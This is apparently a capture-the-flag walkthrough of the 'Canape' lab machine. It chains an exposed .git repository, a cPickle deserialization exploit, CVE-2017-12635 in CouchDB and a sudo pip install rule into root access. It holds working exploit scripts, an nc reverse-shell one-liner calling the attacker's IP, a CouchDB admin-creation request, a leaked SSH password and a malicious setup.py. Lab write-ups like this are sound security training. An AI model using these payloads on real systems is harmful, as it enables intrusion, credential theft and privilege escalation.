Overview

Canape is a Linux machine hosting a Flask-based “Simpsons Fan Site” backed by a Python 2 app that once used cPickle to serialize and deserialize user input. An exposed .git endpoint lets us dump the full source history, and stepping through old commits shows exactly how a pickle-based save/load feature was stripped down to an unsafe cPickle.load(), while a naive string check was left behind as the only “protection”. Crafting a raw pickle payload by hand gets us a reverse shell as www-data. From there, a locally exposed CouchDB instance vulnerable to CVE-2017-12635 yields plaintext credentials for the homer user’s SSH access, and a wildcard sudo rule over pip install finishes the job as root.

Attack Chain

  • Scan the target and find an exposed .git directory on the web server
  • Add canape.htb and git.canape.htb to /etc/hosts and dump the repository with git-dumper
  • Walk the commit history and find that cPickle.dump() was removed from submit() while cPickle.load() remained in check()
  • Identify a weak p1-substring check as the only validation before deserialization
  • Craft a raw cPickle payload by hand, working around the char/quote concatenation with a manual pickle instruction
  • Replicate the server’s md5(char + quote) hashing to reach the vulnerable check() endpoint
  • Confirm command execution with a sleep payload, then deliver a reverse shell as www-data
  • Enumerate other users’ running processes and discover a locally bound CouchDB instance
  • Exploit CVE-2017-12635 to create a CouchDB admin user without authentication
  • Recover SSH credentials for homer from a passwords database and confirm them with hydra
  • Log in over SSH as homer and read the user flag
  • Abuse a wildcard sudo /usr/bin/pip install * rule with a malicious setup.py to drop a SUID bash
  • Read the root flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.129.229.137; export NAME=CANAPE; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

The open TCP ports are:

80,65535

nmap results

The scan flags an exposed .git directory and points us at canape.htb and git.canape.htb, which we add to /etc/hosts, along with a referenced endpoint:

http://git.canape.htb/simpsons.git

Web Enumeration

Port 80 - http

Browsing to port 80 shows a home page for a “Simpsons Fan Site”.

Canape landing page

Viewing the page source reveals a comment referencing a git commit hash with a note to “temporarily hide check”.

source comment referencing a commit

Dumping the Git Repository

With the .git endpoint confirmed from our nmap scan, we use git-dumper to pull down the full repository.

git-dumper http://canape.htb/.git/ src

running git-dumper

The repository dumps successfully.

repository dumped


Source Code Review

Walking the Commit History

We can dump the whole history at once with git log -p --all, but stepping through commit-by-commit is easier to follow.

git log --oneline --all --reverse

The second commit also references hiding check, this time noting it’s due to a vulnerability.

second commit mentions a vulnerability

The Original Implementation

git show on the first commit prints the whole file as a diff against nothing, so it’s a clean look at the starting point.

git show e7bfbcf

We look at the initial __init__.py.

initial <strong>init</strong>.py

The submit() and check() functions take user input and use cPickle, a Python 2 library, to serialize and deserialize it. check() lines up with the comment we found in the page source.

submit() and check() using cPickle

The next two commits add the vulnerability comment into layout.html.

git show c8a74a0
git show f9be9a9

vulnerability comment added to layout.html

Where the Bug Was Introduced

The next commit is where things get interesting.

git show a389475

We see changes to __init__.py.

changes to <strong>init</strong>.py

cPickle.dump() has been removed from submit(), the app no longer uses pickle to save data, but cPickle.load() is still called in check(). That gives us an opportunity to control the binary data this function deserializes.

cPickle.dump() removed from submit()

The final commit only changes how the p_id variable is encoded.

git show 524f9dd

final commit changes p_id encoding

Back in the a389475 commit, the if statement in check() attempts validation by checking for the string p1 in p_id before calling cPickle.loads().

p1 substring check in check()

There’s also a whitelist for the char variable, visible in the repository source.

char variable whitelist

submit() checks that char is part of that whitelist before saving.

submit() enforces the whitelist


Exploitation

Crafting a Pickle Payload

We set up a Python 2 virtual environment and write a script that uses pickle.dump() locally so we control the raw binary structure, starting with a simple payload that sends a GET request to a Python server on our attacking machine.

import cPickle, os

class Exploit(object):
    def __reduce__(self):
        cmd = "wget http://10.10.14.30/test"
        return (os.system, (cmd,))

payload = cPickle.dumps(Exploit())
print(repr(payload))

Running the script shows our payload happens to contain a p1 string, which satisfies the naive validation check.

pickle payload output contains p1

We try submitting this on the target website.

submitting the payload on the website

Inspecting the request in Burp Suite:

Burp request

We get a 200 response…

200 response

…and Success! a few lines down.

Success! in the response

Reaching check()

The commit history showed the raw data gets hashed with md5 before being used as an ID, which we need to replicate to reach check().

md5 hashing seen in the commit history

From submit():

p_id = md5(char + quote).hexdigest()

Our script to emulate how the target stores char + quote:

import hashlib

character = "homer"
quote = "cposix\nsystem\np1\n(S'curl http://10.10.14.30/test'\np2\ntRp3\n."
file_id = hashlib.md5(character + quote).hexdigest()
print(file_id)

Running this gives us a hash that, in theory, matches how the server parsed it.

payload_hash.py output

We send a POST request to the hidden check() function with this ID.

curl -X POST http://canape.htb/check --data-urlencode "id=632a1ee9467967523dccfb4ba6660b49" -x 127.0.0.1:8080

We get a 500 Internal Server Error, which doesn’t necessarily mean the payload failed, but we don’t see a hit on our Python server either.

500 error from check()

Debugging the Payload

We script the full flow together with debug output at each step.

import cPickle, os, hashlib, requests

TARGET = "http://canape.htb"

class Exploit(object):
    def __reduce__(self):
        cmd = "wget http://10.10.14.30/test"
        return (os.system, (cmd,))

character = "homer"
quote = cPickle.dumps(Exploit())

print("---Debug Variables---")
print(Exploit)
print("")
print(character)
print(quote)
print("")

# submit
r = requests.post(TARGET + "/submit", data={"character": character, "quote": quote})
print("[submit] status:", r.status_code, "| success:", "alert-success" in r.text)

# hash
file_id = hashlib.md5(character + quote).hexdigest()
print("[+] file_id:", file_id)

# check
r2 = requests.post(TARGET + "/check", data={"id": file_id})
print("[check] status:", r2.status_code)
print("[check] body:", r2.text[:300])

Running it gives the same result as the manual approach, no code execution yet.

combined script gives no RCE

We swap the payload for sleep 10 and time the check() request, so we know for certain whether code executed instead of guessing about wget/curl availability.

import cPickle, os, hashlib, requests, time

TARGET = "http://canape.htb"

class Exploit(object):
    def __reduce__(self):
        cmd = "sleep 10"
        return (os.system, (cmd,))

character = "homer"
quote = cPickle.dumps(Exploit())

# submit
r = requests.post(TARGET + "/submit", data={"character": character, "quote": quote})
print("[submit] status:", r.status_code, "| success:", "alert-success" in r.text)

# hash
file_id = hashlib.md5(character + quote).hexdigest()
print("[+] file_id:", file_id)

# check with timer
start = time.time()
r2 = requests.post(TARGET + "/check", data={"id": file_id})
elapsed = time.time() - start

print("[check] elapsed:", elapsed, "seconds")
print("[check] status:", r2.status_code)
print("[check] body:", r2.text[:300])

The elapsed time comes back at basically zero seconds, our sleep never ran.

sleep test shows zero elapsed time

Finding the Real Problem

Looking at check() in __init__.py again, the response includes feedback we can use to see why our pickle instruction isn’t firing.

check() feedback in <strong>init</strong>.py

We send a plain, non-pickled character/quote pair to see what comes back.

import hashlib, requests

TARGET = "http://canape.htb"

character = "homer"
quote = "PickleInstruction"

r = requests.post(TARGET + "/submit", data={"character": character, "quote": quote})
print("[submit] status:", r.status_code, "| success:", "alert-success" in r.text)

file_id = hashlib.md5(character + quote).hexdigest()
print("[+] file_id:", file_id)

r2 = requests.post(TARGET + "/check", data={"id": file_id})
print("[check] status:", r2.status_code)
print("[check] body:", r2.text[:300])

The response explains why: char + quote is treated as one concatenated string. char is just plain text, so cPickle.load() fails immediately on it and never reaches our pickle payload in quote.

normal payload fails to unpickle

A Manual Pickle Instruction

To fix this we hand-craft a pickle instruction for char itself:

S'homer'\np0\n

Broken down:

  • S: the opcode meaning “the next part is a text string”
  • 'homer': the string itself, quoted exactly as pickle expects
  • \n: a line break, separating pickle instructions
  • p0: stores the value at slot 0
  • \n: closes the instruction, followed immediately by our real payload
import cPickle, os, hashlib, requests, time

TARGET = "http://canape.htb"

class Exploit(object):
    def __reduce__(self):
        return (os.system, ("sleep 10",))

character = "S'homer'\np0\n"
quote = cPickle.dumps(Exploit())

r = requests.post(TARGET + "/submit", data={"character": character, "quote": quote})
print("[submit] status:", r.status_code, "| success:", "alert-success" in r.text)

file_id = hashlib.md5(character + quote).hexdigest()
print("[+] file_id:", file_id)

start = time.time()
r2 = requests.post(TARGET + "/check", data={"id": file_id})
elapsed = time.time() - start

print("[check] elapsed:", elapsed, "seconds")
print("[check] status:", r2.status_code)
print("[check] body:", r2.text[:300])

This time it works, the request waits the full 10 seconds.

manual pickle instruction confirms RCE

Reverse Shell

With command execution confirmed, we swap in a mkfifo-based reverse shell from revshells.com:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.30 443 >/tmp/f

reverse shell payload in the script

We start a penelope listener on port 443 and run the script.

penelope listener and script execution

We catch a shell as www-data.

shell as www-data


Lateral Movement

Finding Another User’s Processes

We check which other users have shell access.

cat /etc/passwd | grep -i "sh$" 2>/dev/null

The user homer stands out as non-standard.

homer in /etc/passwd

We check what homer has running.

ps -fu homer

homer runs beam, epmd, memsup, and cpu_sup binaries from their home directory.

homer’s running processes

Reading the full command lines from /proc confirms it.

for pid in $(pgrep -u homer); do echo "== $pid =="; cat /proc/$pid/cmdline | tr '\0' ' '; echo; done

The output points to couchdb, which also shows up in the git repository.

proc cmdline points to couchdb

Exploiting CouchDB

CouchDB doesn’t have a dedicated CLI, but exposes a REST API we can query with curl (see the CouchDB API docs).

curl http://127.0.0.1:5984/

We’re working with CouchDB 2.0.0.

CouchDB version

curl http://127.0.0.1:5984/_all_dbs

CouchDB databases

CouchDB 2.0.0 is vulnerable to CVE-2017-12635, which lets non-admin users grant themselves admin privileges. We exploit it manually with a PUT request that creates an admin user, hacked.

curl -X PUT -H "Referer: http://127.0.0.1:5984/" "http://127.0.0.1:5984/_users/org.couchdb.user:hacked" -d '{"type": "user", "name": "hacked", "roles": ["_admin"], "roles": [], "password": "pass1234"}'

CVE-2017-12635 request

We look at the passwords database.

curl -u hacked:pass1234 "http://127.0.0.1:5984/passwords"

passwords database

curl -u hacked:pass1234 "http://127.0.0.1:5984/passwords/_all_docs"

passwords _all_docs

Pulling each document individually:

curl -u hacked:pass1234 "http://127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4"
curl -u hacked:pass1234 "http://127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc43800368d"
curl -u hacked:pass1234 "http://127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc438003e5f"
curl -u hacked:pass1234 "http://127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc438004738"

This turns up usernames and passwords for several platforms. The one that matters is ssh.

ssh credentials in CouchDB

SSH Access as homer

We confirm the password, 0B4jyA0xtytZi7esBNGp, against homer with hydra (the SSH port on this target is 65535).

hydra -l homer -p 0B4jyA0xtytZi7esBNGp 10.129.229.137 ssh -s 65535

Credentials confirmed.

hydra confirms the credentials

homer:0B4jyA0xtytZi7esBNGp
ssh homer@$IP -p 65535

We have an interactive shell as homer.

shell as homer

We read the user flag.

user flag


Privilege Escalation

We check our sudo privileges.

sudo -l

We can run /usr/bin/pip install * as root.

sudo -l shows pip install

A wildcard sudo pip install means we can create a malicious setup.py that runs os.system() commands as root during package installation.

We create the malicious package in /tmp/suidbash.

import os
from setuptools import setup

os.system("cp /bin/bash /tmp/suidbash")
os.system("chmod u+s /tmp/suidbash")

setup(
    name="suid_bash",
    version="0.1",
)

malicious setup.py package

We install it with sudo pip.

sudo /usr/bin/pip install /tmp/suidsetup

The package processes successfully.

pip install output

We now have a SUID copy of bash.

SUID bash copy

Running it with -p to preserve privileges gives us a shell as root.

/tmp/suidbash -p

root shell

We read the root flag.

root flag


Key Takeaways

Canape is a good demonstration of how insecure deserialization survives refactoring. A pickle-based save feature was stripped down to just the dangerous half, cPickle.load() stayed while cPickle.dump() was removed, and the only safeguard added was a naive substring check, easily satisfied by a crafted payload. Exposing .git over HTTP handed us the entire history of that refactor, turning what would have been blind exploitation into a guided one. From there, a locally-bound CouchDB instance vulnerable to a known unauthenticated privilege-escalation CVE and an overly broad sudo pip install rule chained together into a full compromise, both reminders that internal services and package-manager sudo rules deserve the same scrutiny as the initial attack surface.